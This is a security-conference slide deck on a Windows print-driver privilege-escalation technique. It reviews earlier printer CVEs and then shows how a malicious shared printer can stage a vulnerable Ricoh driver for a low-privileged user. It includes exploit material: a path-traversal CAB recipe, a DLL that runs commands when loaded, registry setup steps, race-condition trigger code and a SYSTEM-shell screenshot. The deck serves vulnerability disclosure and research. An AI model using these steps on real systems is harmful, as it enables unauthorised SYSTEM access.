





BRING YOUR OWN PRINT DRIVER VULNERABILITY

Jacob Baines
7 August 2021

AGENDA



Background
Research



Print Driver
Installation



BYOPD
Exploitation



Detection &
Mitigations

SLIDES & CODE AVAILABLE



https://github.com/jacob-baines/concealed_position

SPEAKER INTRODUCTION



Jacob Baines
Vulnerability Researcher

 [@Junior_Baines](https://twitter.com/Junior_Baines)

 [jacob-baines](https://github.com/jacob-baines)



BACKGROUND: PREVIOUS PRINTER VULNERABILITIES

BACKGROUND RESEARCH

RICOH PRINT DRIVER VULNERABILITY



- [CVE-2019-19363](#)
- Full disclosure by [Pentagrid](#)
- Metasploit [module](#) by [Shelby Pace](#)
- Privilege escalation to SYSTEM via %PROGRAMDATA% DLL overwrite during printer install.
- Driver must be installed on the system.


Time	Process	Action	Path	Status	Details
00:18....	PrintIsolationHost.exe	412 CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	
00:18....	PrintIsolationHost.exe	412 QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\headerfooter.dll	SUCCESS	Filter: headerfooter.dll, 1: headerfooter.dll
00:18....	PrintIsolationHost.exe	412 QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\headerfooter.dll	SUCCESS	Filter: headerfooter.dll, 1: headerfooter.dll
00:18....	PrintIsolationHost.exe	412 QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\popup.dll	SUCCESS	Filter: popup.dll, 1: popup.dll
00:18....	PrintIsolationHost.exe	412 QueryDirectory	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\popup.dll	SUCCESS	Filter: popup.dll, 1: popup.dll
00:18....	PoC.exe	3432 CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Desired Access: Generic Read/Write, Delete, Write DAC, Disposition: Overwrite!, Options: Sequential A
00:18....	PoC.exe	3432 CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	
00:18....	PoC.exe	3432 CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Desired Access: Generic Read/Write, Delete, Write DAC, Disposition: OpenIf, Options: Sequential Acce.
00:18....	PoC.exe	3432 QueryAttribut...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	FileSystemAttributes: Case Preserved, Case Sensitive, Unicode, ACLs, Compression, Named Streams, EF
00:18....	PoC.exe	3432 QueryBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	CreationTime: 02/07/2019 14:58:38, LastAccess Time: 02/11/2019 00:18:00, LastWrite Time: 02/11/20
00:18....	PoC.exe	3432 SetEndOfFileInf...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	EndOfFile: 10,240
00:18....	PoC.exe	3432 WriteFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Offset: 0, Length: 10,240, Priority: Normal
00:18....	PoC.exe	3432 SetBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	CreationTime: 01/01/1601 00:00:00, LastAccessTime: 01/01/1601 00:00:00, LastWriteTime: 01/11/20
00:18....	PoC.exe	3432 QueryRemotePr...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	INVALID PARAM...	
00:18....	PoC.exe	3432 CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	
00:18....	PrintIsolationHost.exe	412 CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attributes: n/a, Share
00:18....	PrintIsolationHost.exe	412 QueryBasicInfor...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	CreationTime: 02/07/2019 14:58:38, LastAccessTime: 02/11/2019 00:18:00, LastWriteTime: 01/11/20
00:18....	PrintIsolationHost.exe	412 CloseFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	
00:18....	PrintIsolationHost.exe	412 CreateFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Desired Access: Read Data/List Directory, Execute/Traverse, Synchronize, Disposition: Open, Options:
00:18....	PrintIsolationHost.exe	412 WriteFile	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Offset: 0, Length: 12,288, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
00:18....	PrintIsolationHost.exe	412 SetEndOfFileInf...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	EndOfFile: 10,240
00:18....	PrintIsolationHost.exe	412 CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	SyncType: SyncTypeOther
00:18....	PrintIsolationHost.exe	412 CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	FILE LOCKED WI...	Sync Type: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE PAGE_NOCACHE
00:18....	PrintIsolationHost.exe	412 QueryStandardI...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	AllocationSize: 12,288, EndOfFile: 10,240, NumberOfLinks: 1, DeletePending: False, Directory: False
00:18....	PrintIsolationHost.exe	412 CreateFileMapp...	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Sync Type: SyncTypeOther
00:18....	PrintIsolationHost.exe	412 Load Image	C:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23_\common\dlz\watermark.dll	SUCCESS	Image Base: 0x7faefd50000, Image Size: 0x7000

BACKGROUND RESEARCH

PRINTDEMON



- [CVE-2020-1048](#)
- [Technical write up](#) by Yarden Shafir and Alex Ionescu
- Metasploit [module](#) by [Brendan Watters](#)
- Arbitrary file write as SYSTEM by printing to a printer with attacker controlled file port



BACKGROUND RESEARCH

PRINTDEMON PATCH BYPASS



- [CVE-2020-1337](#)
- [Technical writeup](#) by Voidsec
- Metasploit [module](#) by Brendan Watters
- Bypasses the patch by altering the file port to use a junction after permissions have been checked

ATTACKERKB
Not all vulns are created equal

Topics Activity Feed About Leaderboard Search... Log In

ATTACKER VALUE **VERY HIGH** (2 users assessed) EXPLOITABILITY **HIGH** (2 users assessed) USER INTERACTION **None** PRIVILEGES REQUIRED **Low** ATTACK VECTOR **Local** 5

CVE-2020-1337

Disclosure Date: August 17, 2020 · (Last updated August 28, 2020) ▾

CVE-2020-1337 CVSS v3 Base Score: 7.8 [Report As Exploited in the Wild](#)

<https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337>

BACKGROUND RESEARCH

EVIL PRINTER



- [CVE-2020-1300](#)
- [Presented at DEF CON 28](#) by Zhipheng Huo and Chuanda Ding.
- Technical [writeup](#) of CAB parsing by ZDI (no PoC)
- Local privilege escalation.
- Path Traversal in CAB file. Delivered by a remote printer or local admin

MR_ME @steventseeley · Nov 3, 2020

For those that want to repro CVE-2020-1300 you can just use makecab,
no need to manually calc checksums now:

```
c:\>type files.txt  
"rce.exe" "../rce.exe"  
c:\>makecab /f files.txt
```


40 134

<https://twitter.com/steventseeley/status/1323694078022848512>



EXECUTING EVIL PRINTER

EVIL PRINTER ATTACK OVERVIEW



EVIL PRINTER

PRINTER SIDE: CREATING THE CAB



```
> echo "ualapi.dll" "../../ualapi.dll" > files.txt  
> makecab /f files.txt  
> move disk1/1.cab exploit.cab
```

ualapi.dll reference: <https://enigma0x3.net/2019/07/24/cve-2019-13382-privilege-escalation-in-snagit/>

EVIL PRINTER

PRINTER SIDE: DLL SOURCE



```
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

BOOL APIENTRY DllMain(HANDLE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            WinExec("cmd.exe /c whoami > c:\\\\result.txt", SW_HIDE);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        default:
            break;
    }
    return TRUE;
}
```

EVIL PRINTER

PRINTER SIDE: BECOMING A PRINTER



1. Install [CutePDF Writer](#)
2. Set the CutePDF Writer as a shared printer
3. Turn off password protected sharing (Advanced Sharing)
4. Turn on printer sharing (Advanced Sharing)
5. Modify the following registry values in
`HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Environments\Windows\x64\Drivers\Version3\CutePDF Writer v4.0`
 - a. **PrinterDriverAttributes = 1**
 - b. **InfPath = C:\exploit\exploit.inf**
6. Create an empty file at `C:\exploit\exploit.inf`
7. Copy `exploit.cab` to `C:\Windows\System32\spool\drivers\x64\PCC\`
8. Reboot

EVIL PRINTER CLIENT SIDE



← Add Printer

Find a printer by other options

My printer is a little older. Help me find it.

Select a shared printer by name

Browse...

Example: \\computername\printername or
http://computername/printers/printername/.printer

Add a printer using a TCP/IP address or hostname

Add a Bluetooth, wireless or network discoverable printer


Add a local printer or network printer with manual settings

Next Cancel


X Command Prompt

```
C:\Users\lowlevel>net user lowlevel
User name          lowlevel
Full Name
Comment
User's comment
Country/region code    000 (System Default)
Account active        Yes
Account expires       Never
Password last set    6/28/2021 9:53:17 AM
Password expires      Never
Password changeable   6/28/2021 9:53:17 AM
Password required     No
User may change password Yes
Workstations allowed  All
Logon script
User profile
Home directory
Last logon           6/28/2021 6:37:23 PM
Logon hours allowed  All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
```

EVIL PRINTER CLIENT SIDE FILE DROPPED



EVIL PRINTER CLIENT SIDE EXPLOITED



EVIL PRINTER TRY YOURSELF!



A screenshot of a GitHub commit page for the repository `jacob-baines/concealed_position`. The repository is marked as `Private`. The commit was made by `jacob-baines` 2 hours ago. The commit message is: **Added a PoC for CVE-2020-1300 called SLASHINGDAMAGE**. The commit shows changes to the `main` branch. It displays 2 changed files with 8 additions and 1 deletion. One file listed is `BIN +4.5 KB cab_files/SLASHINGDAMAGE/cve20201300.cab`. A note below states: **Binary file not shown.**

EVIL PRINTER STILL USEFUL?




腾讯安全玄武实验室
TENCENT SECURITY XUANWU LAB

```
C:\Windows\system32\cmd.exe -nc64.exe -l -p 8888
Microsoft Windows [Version 10.0.18219.1000]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

To direct input to this VM, move the mouse pointer inside or press Ctrl+G



<https://twitter.com/R3dF09/status/1271485928989528064>



INSTALLING A PRINT DRIVER

INSTALLING A PRINT DRIVER

REVISITING RICOH



```
bool installPrinter(const std::string& p_driver)
{
    std::cout << "[+] Installing printer" << std::endl;

    std::wstring wdriver(p_driver.begin(), p_driver.end());

    // install printer
    PRINTER_INFO_2 printerInfo = { };
    ZeroMemory(&printerInfo, sizeof(printerInfo));
    printerInfo.pPortName = (LPWSTR)L"lpt1:";
    printerInfo.pDriverName = (LPWSTR)wdriver.c_str();
    printerInfo.pPrinterName = (LPWSTR)L"Ricoh";
    printerInfo.pPrintProcessor = (LPWSTR)L"WinPrint";
    printerInfo.pDatatype = (LPWSTR)L"RAW";
    printerInfo.pComment = (LPWSTR)L"Poison Damage";
    printerInfo.pLocation = (LPWSTR)L"Shared Ricoh Printer";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
    printerInfo.AveragePPM = 9001;
    HANDLE hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    if (hPrinter == 0)
    {
        std::cerr << "[-] Failed to create printer: " << GetLastError() << std::endl;
        return false;
    }

    DeletePrinter(hPrinter);
    ClosePrinter(hPrinter);
    return true;
}
```

- Reminder: [CVE-2019-19363](#)
- Race condition when [AddPrinter](#) is called.
- DLL are dropped into a directory in ProgramData.
- A low privileged user can overwrite the DLL.
- If timed correctly, `PrinterIsolationHost.exe` will load the attacker DLL as SYSTEM.

INSTALLING A PRINT DRIVER

RICOH DRIVER ONLY USEFUL WHEN AVAILABLE



PRINTER_INFO_2 structure

05/31/2018 • 5 minutes to read • 5 comments +1

The PRINTER_INFO_2 structure specifies detailed printer information.

Syntax

C++

```
typedef struct _PRINTER_INFO_2 {
    LPTSTR          pServerName;
    LPTSTR          pPrinterName;
    LPTSTR          pShareName;
    LPTSTR          pPortName;
    LPTSTR          pDriverName;
    LPTSTR          pComment;
    LPTSTR          pLocation;
    LPDEVMODE       pDevMode;
    LPTSTR          pSepFile;
    LPTSTR          pPrintProcessor;
    LPTSTR          pDatatype;
    LPTSTR          pParameters;
    PSECURITY_DESCRIPTOR pSecurityDescriptor;
    DWORD           Attributes;
    DWORD           Priority;
    DWORD           DefaultPriority;
    DWORD           StartTime;
    DWORD           UntilTime;
    DWORD           Status;
    DWORD           cJobs;
    DWORD           AveragePPM;
} PRINTER_INFO_2, *P_PRINTER_INFO_2;
```

```
bool installPrinter(const std::string& p_driver)
{
    std::cout << "[+] Installing printer" << std::endl;

    std::wstring wdriver(p_driver.begin(), p_driver.end());

    // install printer
    PRINTER_INFO_2 printerInfo = { };
    ZeroMemory(&printerInfo, sizeof(printerInfo));
    printerInfo.pPortName = (LPWSTR)L"lpt1:";


    printerInfo.pDriverName = (LPWSTR)wdriver.c_str();
    printerInfo.pPrinterName = (LPWSTR)L"Ricoh";
    printerInfo.pPrintProcessor = (LPWSTR)L"WinPrint";
    printerInfo.pDatatype = (LPWSTR)L"RAW";
    printerInfo.pComment = (LPWSTR)L"Poison Damage";
    printerInfo.pLocation = (LPWSTR)L"Shared Ricoh Printer";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN;
    printerInfo.AveragePPM = 9001;
    HANDLE hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    if (hPrinter == 0)
    {
        std::cerr << "[-] Failed to create printer: " << GetLastError() << std::endl;
        return false;
    }

    DeletePrinter(hPrinter);
    ClosePrinter(hPrinter);
    return true;
}
```




INSTALLING A PRINT DRIVER

RICOH DRIVER ONLY USEFUL WHEN AVAILABLE



INSTALLING A PRINT DRIVER

NOT So USEFUL WHEN UNAVAILABLE





INSTALLING A PRINT DRIVER

CAN IT BE INSTALLED?





- Obviously, can't exploit a driver not on the system.
- But can a low privileged user install the vulnerable Ricoh print driver?
- How?
 - Ricoh installer?
 - Add printer UI?
 - Powershell?
 - printui.dll?
 - prndrvr.vbs?
 - WinAPI?

INSTALLING A PRINT DRIVER USING THE RICOH INSTALLER?



INSTALLING A PRINT DRIVER USING THE ADD PRINTER UI?



INSTALLING A PRINT DRIVER USING POWERSHELL?



```
Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath  
"C:\Users\lowlevel\Downloads\disk1\oemsetup.inf"
```

```
PS C:\Users\lowlevel> Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath  
"C:\Users\lowlevel\Downloads\disk1\oemsetup.inf"  
Add-PrinterDriver : One or more specified parameters for this operation has an invalid  
value.  
At line:1 char:1  
+ Add-PrinterDriver -Name "PCL6 Driver for Universal Print" -InfPath "C ...  
+ ~~~~~  
+ CategoryInfo          : InvalidArgument: (MSFT_PrinterDriver:ROOT/StandardCimv2/  
MSFT_PrinterDriver) [Add-PrinterDriver], CimException  
+ FullyQualifiedErrorId : HRESULT 0x80070057 Add-PrinterDriver  
PS C:\Users\lowlevel>
```



-InfPath

Specifies the path of the printer driver INF file **in the driver store**. INF files contain information about the printer and the printer driver.

<https://docs.microsoft.com/en-us/powershell/module/printmanagement/add-printerdriver?view=windowsserver2019-ps>

INSTALLING A PRINT DRIVER USING PRINTUI.DLL?




```
rundll32 printui.dll PrintUIEntry /ia /m "PCL6 Driver for Universal Print" /r  
"lpt1:" /f C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
```

```
C:\Users\lowlevel>rundll32 printui.dll PrintUIEntry /ia /m "PCL6 Driver for Universal Print" /r "lpt1:" /f C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
```

```
C:\Users\lowlevel>
```

A green arrow points from the terminal command on the left to the User Account Control dialog box on the right.



INSTALLING A PRINT DRIVER USING PRNDRV.R.VBS?



```
cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\prndrvrv.vbs -a -m "PCL6 Driver for Universal Print" -v 3  
-e "Windows x64" -i C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
```

```
C:\Users\lowlevel>cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\prndrvrv.vbs -a -m "PCL6 Driver for Universal Print" -v 3 -e "Windows x64" -i C:\Users\lowlevel\Downloads\disk1\oemsetup.inf  
Microsoft (R) Windows Script Host Version 5.812  
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
Unable to add printer driver PCL6 Driver for Universal Print Win32 error code 5
```

```
C:\Users\lowlevel>
```

INSTALLING A PRINT DRIVER USING THE WINAPI?



Windows / Apps / Win32 / Desktop Technologies / Documents and Printing

Filter by title

DeleteMonitor

DeletePort

DeletePrinterDriver

DeletePrinterDriverEx

DeletePrinterDriverPackage

DeletePrintProcessor

DeletePrintProvidor

EnumMonitors

EnumPorts

EnumPrinterDrivers

EnumPrintProcessorDatatypes

EnumPrintProcessors

GetCorePrinterDrivers

InstallPrinterDriverFromPackage function

05/31/2018 • 2 minutes to read • 5 comments +1

Installs a printer driver from a driver package that is in the print server's driver store.

Syntax

C++

```
HRESULT InstallPrinterDriverFromPackage(
    _In_ LPCTSTR pszServer,
    _In_ LPCTSTR pszInfPath,
    _In_ LPCTSTR pszDriverName,
    _In_ LPCTSTR pszEnvironment,
    _In_ DWORD    dwFlags
);
```

Copy

<https://docs.microsoft.com/en-us/windows/win32/printdocs/installprinterdriverfrompackage>

INSTALLING A PRINT DRIVER As a Low Level User



How do we get a print driver
into the driver store?!



STAGING A PRINT DRIVER

STAGING A PRINT DRIVER

WHAT IS THE DRIVER STORE?



- From Microsoft's [Drive Store](#) documentation:

Starting with Windows Vista, the driver store is a trusted collection of inbox and third-party driver packages. The operating system maintains this collection in a secure location on the local hard disk.

...

Before a driver package is copied to the driver store, the operating system first verifies that the digital signature is correct.

- The trusted location is C:\Windows\System32\DriverStore
- Copying a driver into Driver Store is called **staging**

STAGING A PRINT DRIVER

WHO CAN STAGE DRIVERS?



- Administrators
- pnutil.exe often the tool of choice.

```
C:\WINDOWS\system32>pnutil /add-driver C:\Users\lowlevel\Downloads\disk1\oemsetup.inf
Microsoft PnP Utility

Adding driver package:  oemsetup.inf
Driver package added successfully.
Published Name:          oem9.inf

Total driver packages:  1
Added driver packages:  1

C:\WINDOWS\system32>
```

STAGING A PRINT DRIVER STANDARD USER CAN Now USE THE DRIVER



A screenshot demonstrating the successful addition of a print driver. At the top, a command is run in PowerShell: `Add-Printer -Name "lol" -DriverName "PCL6 Driver For Universal Print" -PortName "lpt1:"`. Below the command, the Windows Printers & scanners interface shows two printers: "Fax" and the newly added "lol". The PowerShell window title is "Windows PowerShell".

```
Add-Printer -Name "lol" -DriverName "PCL6 Driver For Universal Print" -PortName "lpt1:"
```

Printers & scanners

Fax


lol

Windows PowerShell

```
PS C:\Users\lowlevel> Add-Printer -Name "lol" -DriverName "PCL6 Driver For Universal Print" -PortName "lpt1:"
```

```
PS C:\Users\lowlevel>
```

STAGING A PRINT DRIVER CAN SOMEONE ELSE STAGE DRIVERS?



STAGING A PRINT DRIVER CAN SOMEONE ELSE STAGE DRIVERS?



From Microsoft's [Point and Print with Driver Packages](#) documentation:

A print client that is connected to a print server can use point and print to copy an entire driver package for installation.

...

Driver signing and driver integrity are checked on the print client.

...


Driver package installation requires a driver store, which is not available on versions of Windows earlier than Windows Vista.

STAGING A PRINT DRIVER

CAN SOMEONE ELSE STAGE DRIVERS?



An evil printer can stage a print driver!




STAGING A PRINT DRIVER

PoC II GTFO



An evil printer can stage a print driver!



STAGING A PRINT DRIVER CREATING A RICOH CAB



Name	Date modified	Type	Size
copcl6ud	7/2/2019 4:07 PM	Text Document	1 KB
mfricr64.dll	3/3/2016 7:26 PM	DL_File	46 KB
oemsetup.dsc	7/2/2019 4:07 PM	DSC File	1 KB
oemsetup	7/2/2019 4:07 PM	Setup Information	3 KB
rd01kd64.dll	9/25/2012 2:52 PM	DL_File	534 KB
Readme	6/28/2019 1:06 PM	HTML File	43 KB
ricdb64.dll	8/22/2006 1:59 PM	DL_File	29 KB
ricu0n	7/22/2019 6:54 AM	Security Catalog	20 KB
ricu0ncb.dll	5/23/2018 10:25 AM	DL_File	809 KB
ricu0ncd.dll	6/10/2019 1:17 PM	DL_File	2,991 KB
ricu0ncd.psz	7/2/2019 4:07 PM	PSZ File	4,127 KB
ricu0nce.eij	5/15/2009 10:19 AM	EIJ File	1 KB
ricu0ncf.cfz	7/2/2019 3:58 PM	CFZ File	7,874 KB
ricu0nch	12/5/2018 8:08 AM	Compiled HTML ...	236 KB
ricu0nci.dll	6/10/2019 1:17 PM	DL_File	653 KB
ricu0ncj.dll	4/25/2013 4:31 PM	DL_File	162 KB
ricu0ncl	7/2/2019 4:07 PM	Configuration sett...	1 KB
ricu0nct.dll	2/16/2007 9:47 AM	DL_File	31 KB
ricu0ncz.dll	7/2/2019 3:58 PM	DLZ File	6,312 KB
ricu0ngl.dll	6/10/2019 1:17 PM	DL_File	99 KB
ricu0ngr.dll	6/10/2019 1:17 PM	DL_File	1,862 KB
ricu0nlm.dll	12/26/2013 2:44 PM	DL_File	18 KB
ricu0ntlex	10/29/2018 1:35 PM	EX_File	1,590 KB
ricu0nug.dll	6/10/2019 1:17 PM	DL_File	2,470 KB
ricu0nug.miz	7/2/2019 3:58 PM	MIZ File	1 KB
ricu0nui.dll	6/10/2019 1:17 PM	DL_File	1,978 KB
ricu0nui.irj	7/2/2019 4:07 PM	IRJ File	1 KB
ricu0nui.rf	4/16/2012 12:58 PM	RCF File	1 KB
ricu0nui.rdj	3/25/2013 8:48 AM	RDJ File	1 KB
ricu0nur.dll	6/10/2019 1:17 PM	DL_File	2 KB



```
> dir /s /b /a-d > ../files.txt
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt

C:\Users\lowlevel\Downloads\disk1>dir /s /b /a-d > ../files.txt
C:\Users\lowlevel\Downloads\disk1>makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt
Cabinet Maker - Lossless Data Compression Tool

32,644,962 bytes in 30 files
Total files:          30
Bytes before:        32,644,962
Bytes after:         27,060,723
After/Before:       82.89% compression
Time:                  18.25 seconds ( 0 hr  0 min 18.25 sec)
Throughput:        1747.13 Kb/second

C:\Users\lowlevel\Downloads\disk1>

```

Name	Date modified	Type	Size
oemsetup	7/1/2021 5:03 PM	Cabinet File	26,436 KB

STAGING A PRINT DRIVER CREATING A RICOH CAB



Name	Date modified	Type	Size
copcl6ud	7/2/2019 4:07 PM	Text Document	1 KB
mfricr64.dll	3/3/2016 7:26 PM	DL_File	46 KB
oemsetup.dsc	7/2/2019 4:07 PM	DSC File	1 KB
oemsetup	7/2/2019 4:07 PM	Setup Information	3 KB
rd01kd64.dll	9/25/2012 2:52 PM	DL_File	534 KB
Readme	6/28/2019 1:06 PM	HTML File	43 KB
ricdb64.dll	8/22/2006 1:59 PM	DL_File	29 KB
ricu0n	7/22/2019 6:54 AM	Security Catalog	20 KB
ricu0ncb.dll	5/23/2018 10:25 AM	DL_File	809 KB
ricu0ncd.dll	6/10/2019 1:17 PM	DL_File	2,991 KB
ricu0ncf.psz	7/2/2019 4:07 PM	PSZ File	4,127 KB
ricu0nce.eij	5/15/2009 10:19 AM	EIJ File	1 KB
ricu0ncf.cfz	7/2/2019 3:58 PM	CFZ File	7,874 KB
ricu0nch	12/5/2018 8:08 AM	Compiled HTML ...	236 KB
ricu0nci.dll	6/10/2019 1:17 PM	DL_File	653 KB
ricu0ncj.dll	4/25/2013 4:31 PM	DL_File	162 KB
ricu0ncl	7/2/2019 4:07 PM	Configuration sett...	1 KB
ricu0nct.dll	2/16/2007 9:47 AM	DL_File	31 KB
ricu0ncz.dll	7/2/2019 3:58 PM	DLZ File	6,312 KB
ricu0ngl.dll	6/10/2019 1:17 PM	DL_File	99 KB
ricu0ngr.dll	6/10/2019 1:17 PM	DL_File	1,862 KB
ricu0nlm.dll	12/26/2013 2:44 PM	DL_File	18 KB
ricu0ntlex	10/29/2018 1:35 PM	EX_File	1,590 KB
ricu0nug.dll	6/10/2019 1:17 PM	DL_File	2,470 KB
ricu0nug.miz	7/2/2019 3:58 PM	MIZ File	1 KB
ricu0nui.dll	6/10/2019 1:17 PM	DL_File	1,978 KB
ricu0nui.irj	7/2/2019 4:07 PM	IRJ File	1 KB
ricu0nui.rfc	4/16/2012 12:58 PM	RCF File	1 KB
ricu0nui.rdj	3/25/2013 8:48 AM	RDJ File	1 KB
ricu0nur.dll	6/10/2019 1:17 PM	DL_File	2 KB

> dir /s /b /a-d > ../files.txt
> makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt

C:\Users\lowlevel\Downloads\disk1>dir /s /b /a-d > ../files.txt

C:\Users\lowlevel\Downloads\disk1>makecab /D MaxDiskSize=268435456 /d "CabinetName1=oemsetup.cab" /f ../files.txt
Cabinet Maker - Lossless Data Compression Tool

32,644,962 bytes in 30 files
Total files: 30
Bytes before: 32,644,962
Bytes after: 27,060,723
After/Before: 82.89% compression
Time: 18.25 seconds (0 hr 0 min 18.25 sec)
Throughput: 1747.13 Kb/second

C:\Users\lowlevel\Downloads\disk1>

Name	Date modified	Type	Size
oemsetup	7/1/2021 5:03 PM	Cabinet File	26,436 KB

STAGING A PRINT DRIVER

RICOH CAB INTEGRITY



The screenshot shows a Windows File Explorer window titled "setup" containing five files:

- mfricr64.dll
- ricu0n Security Catalog
- ricu0nch Compiled HTML Help file
- ricu0ngl.dll
- ricu0nui.dll

The "ricu0n" file is highlighted with a yellow question mark icon. A green rectangular box surrounds the entire window.

A "ricu0n Properties" dialog box is open over the File Explorer. It has tabs for General, Digital Signatures, Security, Details, and Previous Versions. The Digital Signatures tab is selected, showing a "Signature list" table:

Name of signer:	Digest algorithm:	Timestamp:
Microsoft Windo...	sha1	Monday, July 22, 201...

Below this is a "Digital Signature Details" dialog box:

Digital Signature Information
This digital signature is OK.

Signer information

Name:	Value
Name:	pft Windows Hardware Compatibility Publisher
E-mail:	Not available
Signing time:	Monday, July 22, 2019 6:54:20 AM

A "Certificate" dialog box is also visible at the bottom, showing details like Version V3, Serial number, and Issuer.

To the right, a "Security Catalog" dialog box is open. It has tabs for General and Security Catalog. The Security Catalog tab is selected, showing a "Catalog entries" list:

Tag
0AFDC54B33AC1C5973084382462820527A5D5E2A
16E91D841E2667C635D347197ED5EF9A65C9B2E4
1B06E30E15A3F3A57E35983FCA9EEBF57C920163

Below this is an "Entry details" table:

Field	Value
Thumbprint algorithm	sha1
Thumbprint	16 e9 1d 84 1e 26 67 c6 35 d3 47 19...
File	ricu0nur.dll

An "OK" button is at the bottom right of the catalog dialog.

STAGING A PRINT DRIVER

CONFIGURE EVIL PRINTER WITH THE RICOH CAB




- Exactly like the CVE-2020-1300 attack
- To configure evil printer:
 - Refer back to earlier slides for set up

OR

- Use the tool we'll talk about shortly

STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE



STAGING A PRINT DRIVER USING EVIL PRINTER TO STAGE



The screenshot shows a Windows File Explorer window with the following details:

- Path:** This PC > Local Disk (C:) > Windows > System32 > DriverStore > FileRepository
- Selected Item:** oemsetup.inf_amd64_9e2bf606b343d0fc
- Table Headers:** Name, Date modified, Type
- Items:** A list of INF files, mostly for AMD drivers, including vm3d.inf, prnms003.inf, prnms002.inf, tsusbhub.inf, sdstor.inf, usbstor.inf, wvif.inf, ipmidrv.inf, storufs.inf, uaspstor.inf, cdrom.inf, sbp2.inf, acxhdaudiop.inf, bth.inf, usbhub3.inf, wstorflit.inf, pci.inf, acpi.inf, mdmirmdrm.inf, usbvideo.inf, wdma_usb.inf, and ntprint.inf.
- File Explorer Status:** 675 items | 1 item selected


An 'Add Printer' dialog box is overlaid on the File Explorer window, showing the following steps:

- Find a printer by other options
- My printer is a local printer
- Select a shared printer (selected)
- Add a printer using a port
- Add a Bluetooth printer
- Add a local printer or network printer with manual settings

The 'Select a shared printer' step is active, with the input field containing '\\10.0.0.6'. A progress bar indicates 'Connecting to evilprinter on 10.0.0.6' and 'Checking Windows Update. This might take a while...'.

STAGING A PRINT DRIVER

RICOH DRIVER IS STAGED



STAGING A PRINT DRIVER

Is THIS A WINDOWS VULNERABILITY?



YES!

